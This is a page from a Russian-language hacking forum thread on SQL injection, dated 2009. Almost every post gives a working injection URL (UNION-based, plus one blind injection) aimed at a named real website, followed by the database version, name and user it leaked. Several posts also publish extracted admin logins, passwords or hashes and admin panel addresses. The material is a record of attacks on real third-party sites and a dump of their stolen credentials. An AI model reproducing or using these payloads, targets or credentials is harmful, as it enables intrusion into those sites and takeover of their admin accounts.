SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 417 of 798
  1. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    http://www.agence.com.br/en/novidades-sobre-mercado-web.php?news=1'+union+select+1,concat_ws(0x3a3a,usr_login,usr_senha),3,4+from+agnc_usuario+limit+1,1/*

    Просто и со вкусом! Бразильская веб-студия.
     
    #8321 Cennarios, 16 Mar 2009
  2. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    http://www.amcham.sk/?News&id=-1+union+select+1,2,3,4,5,6,7,8--

    Database Version: 5.0.32-Debian_7etch5-log
    Database name: amcham_sk
    User name: amcham_sk@localhost

    ------------------------------------------------------------------------------------------------------

    http://www.jatsbulgaria.org/show.php?type=news&id=-1+union+select+1,2,3,4--

    Database Version: 5.0.67-msl-usrs-icd1-log
    Database name: jatsbulgaria_jatsbulgaria
    User name: jatsbulgaria@localhost
     
    #8322 .:[melkiy]:., 16 Mar 2009
  3. ph1l1ster

    ph1l1ster Elder - Старейшина

    Joined:
    11 Mar 2008
    Messages:
    396
    Likes Received:
    153
    Reputations:
    19
    Code:
    http://www.grand-arcade.co.uk/html/articles.php?id=67+union+select+1,concat(user(),0x3a,version()),3,4,5,6
    Database Version: 5.0.37-community-nt
    Database name: grandarcade
    User name: modus@localhost

    Code:
    http://www.joseantoniophd.com/website/articles.php?id=-5+union+select+1,2,3,4,5,concat(user(),0x3a,version()),7,8,9,0
    Database Version: 4.1.22-standard
    Database name: joseanto_jose
    User name: joseanto_jose123@localhost
     
    #8323 ph1l1ster, 16 Mar 2009
  4. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    Code:
    http://www.olek.dzidzius.net/dni.php?id=1+union+select+1,version()
    5.0.41-community-log

    Code:
    http://www.pilulapop.com.br/dna.php?id=-50+union+select+1,2,version(),4,5,6,7,8,9,10
    5.0.67-log

    Code:
    https://www.vineyardcincinnati.com/vcc.php?id=-1197+union+select+version(),2,3,4,5,6,7,8,9,10,11,12,13,14/*
    4.0.27-standard
     
    _________________________
    #8324 yarbabin, 16 Mar 2009
    3 people like this.
  5. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Pagerank: 4
    тИЦ: 550

    Code:
    http://www.aztpa.ru/?pg=-1+union+select+concat _ws(0x3a,version(),database(),user())--
    Database Version : 5.0.75
    Database name : aztparu_baza
    User name : [email protected]

    ---------------------------------------------+

    Pagerank: 4
    тИЦ: 550

    Code:
    http://www.diamash.ru/ru/about/news/index.php?id=16+union+select+1,2,concat_ws(0x3a,versio n(),database(),user()),4,5,6,7,8,9,10--
    Database Version : 4.1.22-log
    Database name : wwwdiamashru
    User name : diamash@localhost
     
    #8325 f1ng3r, 16 Mar 2009
    2 people like this.
  6. fker

    fker Member

    Joined:
    26 Nov 2008
    Messages:
    135
    Likes Received:
    64
    Reputations:
    -1
    PR - 4
    Code:
    http://krasnoturinsk.ru/cgi-bin/news/index.pl?id=9999+union+select+0,concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7,8,9,10/*
    Database Version : 4.1.22
    Database name : TEST
    User name : [email protected]
     
    #8326 fker, 16 Mar 2009
    1 person likes this.
  7. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2
    PORSHE Украина.
    Database Version: 4.1.22
    Database name: porscheukraine
    User name: [email protected]
     
    #8327 F4R, 16 Mar 2009
  8. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    PageRank - 6


    Database Version: 5.0.32-Debian_7etch6-log
    Database name: massmocalive
    User name: massmoca@localhost


    PageRank - 5

    Database Version:5.0.32-Debian_7etch8
    User name: vtrustdb@localhost
    Database name: vtrust



    Version:5.0.51b-log
    User: [email protected]
    Database: CHAPLAINCY
     
    #8328 spherics, 16 Mar 2009
    1 person likes this.
  9. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    PageRank - 6

    Version: 5.0.22-Debian_0ubuntu6.06.2-log
    User: [email protected]
    Database: ontarion


    http://ndinfo.org/transit/profile.php?id=43334467765+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36--

    Version: 5.0.67-log
    User: [email protected]
    Database: web_ndinfo
     
    #8329 spherics, 16 Mar 2009
  10. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Code:
    http://www.setcorp.ru/main/pressrelease.phtml?news_id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--&language=russian
    Database Version : 5.0.45
    Database name : setcorp
    User name : maritime@localhost

    админ :

    Code:
    http://www.setcorp.ru/main/pressrelease.phtml?news_id=-1+union+select+1,concat _ws(0x3a,login,pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+webiconf+limit+0,1--&language=russian
    Code:
    Anton:3891336
     
    #8330 f1ng3r, 16 Mar 2009
    1 person likes this.
  11. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    http://www.recipezaar.com/sitenews/post.php?pid=998+and+substring(version(),1,1)=5 5
    http://www.recipezaar.com/sitenews/post.php?pid=998+and+ascii(substring(version(),2,1))=46 .
    http://www.recipezaar.com/sitenews/post.php?pid=998+and+substring(version(),3,1)=0 0
    http://www.recipezaar.com/sitenews/post.php?pid=998+and+ascii(substring(version(),4,1))=46 .
    http://www.recipezaar.com/sitenews/post.php?pid=998+and+substring(version(),5,1)=2 2
    http://www.recipezaar.com/sitenews/post.php?pid=998+and+substring(version(),6,1)=2 2
    http://www.recipezaar.com/sitenews/post.php?pid=998+and+ascii(substring(version(),7,1))=45 -
    http://www.recipezaar.com/sitenews/post.php?pid=998+and+ascii(substring(version(),8,1))=108 l
    http://www.recipezaar.com/sitenews/post.php?pid=998+and+ascii(substring(version(),9,1))=111 o
    http://www.recipezaar.com/sitenews/post.php?pid=998+and+ascii(substring(version(),10,1))=103 g
    Version: 5.0.22-log
    Моя первая блинд-инъекция. Юзера не стал подбирать =).
     
    #8331 mailbrush, 16 Mar 2009
    2 people like this.
  12. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    http://www.etalon-service.com/?module=news&id=-1+union+select+1,2,3,4,5--

    Database Version : 5.0.51-log
    Database name : u47638
    User name : [email protected]

    ------------------------------------------------------------------------------------------------------------------

    http://www.inceram.com.ua/?mod=news&id=-1+union+select+1,2,3,4--

    Database Version : 4.1.22-standard-log
    Database name : inceram_inceramdb
    User name : inceram_inceram@localhost

    ------------------------------------------------------------------------------------------------------------------

    http://www.asstroy-spb.ru/?module=news&id=-1+union+select+1,2,3,4,5--

    Database Version : 5.0.51-log
    Database name : u41484
    User name : [email protected]

    ------------------------------------------------------------------------------------------------------------------

    http://www.basko-textile.ru/?do=news&id=-1+union+select+1,2,3,4--

    Database Version : 4.1.22-log
    Database name : wwwbaskotextiler
    User name : baskotex@localhost

    ------------------------------------------------------------------------------------------------------------------

    http://www.mirkvartir.od.ua/?file=news&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11--

    Database Version : 4.1.22-standard
    Database name : mku_mku
    User name : mku_db@localhost

    ------------------------------------------------------------------------------------------------------------------

    http://www.bolotov.info/?news&id=-1+union+select+1,2,3,4,5,6,7--

    Database Version : 4.1.22
    Database name : bolotov_admin
    User name : [email protected]
    --------------------------------------------------------------------------------------------------------

    АДМИН:

    http://www.bolotov.info/?news&id=-1+union+select+1,2,3,concat_ws(0x3a,login,password),5,6,7+from+admin--

    Login: cassej
    Pass: 7459
     
    #8332 .:[melkiy]:., 16 Mar 2009
    Last edited by a moderator: 16 Mar 2009
  13. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2
    Database Version: 4.0.25-log
    Database name: goczech
    User name: [email protected]



    админка

    http://goczech.cz/admin
     
    #8333 F4R, 16 Mar 2009
  14. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    http://www.altist.ru/page.php?action=static&id=-3+union+select+1,2,3,4

    Database Version: 5.0.75
    Database name: altista_1
    User name: altista_1@localhost

    Login: admin
    Pass: 43e9a4ab75570f5b : admin

    Админку не нашел(((
     
    #8334 .:[melkiy]:., 16 Mar 2009
  15. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    F4R, хз чё эт такое :confused:
    hashcracking.info сказал что пасс admin :(

    по теме:
    http://www.parket-junckers.ru/index.phtml?action=news&id=-1+union+select+1,2,3,4,5,6--

    Database Version: 5.0.75
    Database name: parketjn_parket
    User name: parketjn_parket@localhost
     
    #8335 .:[melkiy]:., 16 Mar 2009
  16. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.inm-lex.ro/index.php?MenuID=-4+union+select+1,2,3,unhex(hex(concat_ws(0x3a,version(),database(),user()))),5--


    Database Version: 5.0.18-log
    Database name: inmlexro_inm
    User name: [email protected].
     
    #8336 Gorev, 16 Mar 2009
    1 person likes this.
  17. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    http://aviaresurs.ru/?act=news&id=-1+union+select+1,unhex(hex(concat_ws(0x3a,version())),3,4,5--

    Database Version: 4.1.14
    Database name: aviaresurs
    User name: aviablabla@localhost

    Login: admin
    Pass: gh4yxJ6CnipwA : ??

    Админка:

    http://aviaresurs.ru/admin/
     
    #8337 .:[melkiy]:., 16 Mar 2009
  18. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.woodlandheritage.org.uk/display.php?id=-31+union+select+1,2,3/*

    Database Version: 4.1.22-standard
    Database name: woodlandheritage
    User name: [email protected]

    http://www.look-cctv.co.uk/display.php?page=News&article=-33+union+select+1,2,3,4,5,6,7,8+users/*

    Database Version: 4.0.26-nt
    Database name: lookcctv
    User name: [email protected]

    4о за поля в users?отпишите в личку если найдете плз!

    http://www.artandframing.co.uk/tradefair/art-display/art-display.php?id=81/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/**/LIMIT/**/1,1/*


    Database Version: 4.1.19-standard-log
    Database name: artandframing
    User name: artandframing@localhost

    http://www.designaventure.co.uk/display.php?id=71/**/UNION/**/SELECT/**/1,2,3/*

    Database Version: 4.1.22
    Database name: stag_db
    User name: stag@localhost
     
    #8338 Rubaka, 16 Mar 2009
    Last edited: 16 Mar 2009
    1 person likes this.
  19. ph1l1ster

    ph1l1ster Elder - Старейшина

    Joined:
    11 Mar 2008
    Messages:
    396
    Likes Received:
    153
    Reputations:
    19
    Code:
    http://yamamotoprintmaking.com/catalog.php?a=category&id=-4+union+select+concat(user(),0x3a,version(),0x3a,database())
    Database Version: 4.1.22-STANDARD-LOG
    Database name: YAMAMOTOPRINTMAKING
    User name: YAMAMOTO@LOCALHOST

    Code:
    http://marqueesole.com/php/client/product.php?id=-124+union+select+concat(login,0x3a,passwd)+from+admin
    Database Version: 5.0.67-log
    Database name: marqueesole_main
    User name: [email protected]

    Code:
    http://www.salesbearing.com/products/product.php?id=-42+union+select+1,concat(username,0x3a,pwd),3,4+from+admin
    Database Version: 5.0.40-log
    Database name: nrworld
    User name: [email protected]
     
    #8339 ph1l1ster, 16 Mar 2009
    2 people like this.
  20. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2

    Database Version: 5.0.45
    Database name: archaeolog
    User name: archaeolog@localhost

    АДМИНКО=)
    http://www.archaeolog.ru/admin/
    Lopatin:L8XiGk:[email protected]
     
    #8340 F4R, 16 Mar 2009
(You must log in or sign up to post here.)
Page 417 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.